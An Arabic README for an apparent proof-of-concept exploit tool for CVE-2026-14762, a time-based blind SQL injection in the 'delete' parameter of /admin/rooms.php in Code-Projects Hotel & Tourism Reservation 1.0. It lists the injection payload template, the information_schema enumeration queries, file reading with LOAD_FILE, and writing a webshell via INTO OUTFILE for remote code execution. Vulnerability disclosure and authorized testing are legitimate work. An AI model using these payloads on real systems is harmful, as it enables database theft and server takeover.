CVE-2026-14762 – استغلال حقن SQL في Code‑Projects Hotel &ourism Reservation 1.0

أداة استغلال متكاملة ومتعددة الخيوط لحقن SQL الأعمى القائم على الوقت (Time‑based Blind SQL Injection) لثغرة CVE‑2026‑14762.
تستهدف نقطة النهاية /admin/rooms.php في تطبيق Code‑Projects Hotel & Tourism Reservation (الإصدار 1.0).
تحقق تعداداً كاملاً لقاعدة البيانات، وقراءة نظام الملفات عبر (LOAD_FILE)، وكتابة ملفات عشوائية عبر (INTO OUTFILE / DUMPFILE) – مما يؤدي إلى تنفيذ أوامر عن بُعد عبر نشر قشرة ويب (webshell).

🚀 الميزات

📦 المتطلبات

• Python ≥ 3.11
• حزم بايثون:
  • requests
  • urllib3
  • colorama (اختياري – لإخراج طرفية ملوّن)

ثبّت جميع التبعيات باستخدام:

pip install requests urllib3 colorama

📖 الاستخدام

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 وسائط سطر الأوامر

⚙️ كيف يعمل

بناء الحمولة

يتم حقن المعامل delete بالشكل التالي:

150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

تقيّم الدالة IF() الشرط؛ إذا كان صحيحاً، يتوقف عمل قاعدة البيانات لمدة ثانية. استخراج الأحرف بالبحث الثنائي

لكل موضع حرف، يُحدَّد الحرف الصحيح عبر بحث ثنائي في نطاق ASCII (32–126) باستخدام مقارنات > و =. يقلل هذا من عدد الطلبات من 95 طلباً لكل حرف إلى نحو 7–8 طلبات، مما يجعل الاستخراج عالي الكفاءة. تعداد البيانات الوصفية

اسم قاعدة البيانات: SELECT DATABASE()

الجداول: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1

الأعمدة: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1

تسريب البيانات

SELECT <col> FROM <table> LIMIT row,1 – يستخرج البيانات صفاً بصف

يتم استخراج كل خلية حرفاً بحرف باستخدام تقنية البحث الثنائي نفسها

التفاعل مع نظام الملفات

القراءة: LOAD_FILE('/path/to/file') – يتطلب أن تكون قيمة secure_file_priv فارغة أو أن تشير إلى الدليل المستهدف

الكتابة: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – يتطلب صلاحية FILE وألا تكون قيمة secure_file_priv مقيدة

🛡️ إخلاء المسؤولية

هذه الأداة مقدمة لأغراض اختبار الأمان المصرّح به والبحث التعليمي وتقييم الثغرات الأمنية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو أنشطة غير قانونية أو أضرار ناجمة عن هذا البرنامج. احصل دائماً على إذن كتابي صريح من مالك النظام قبل إجراء أي اختبار.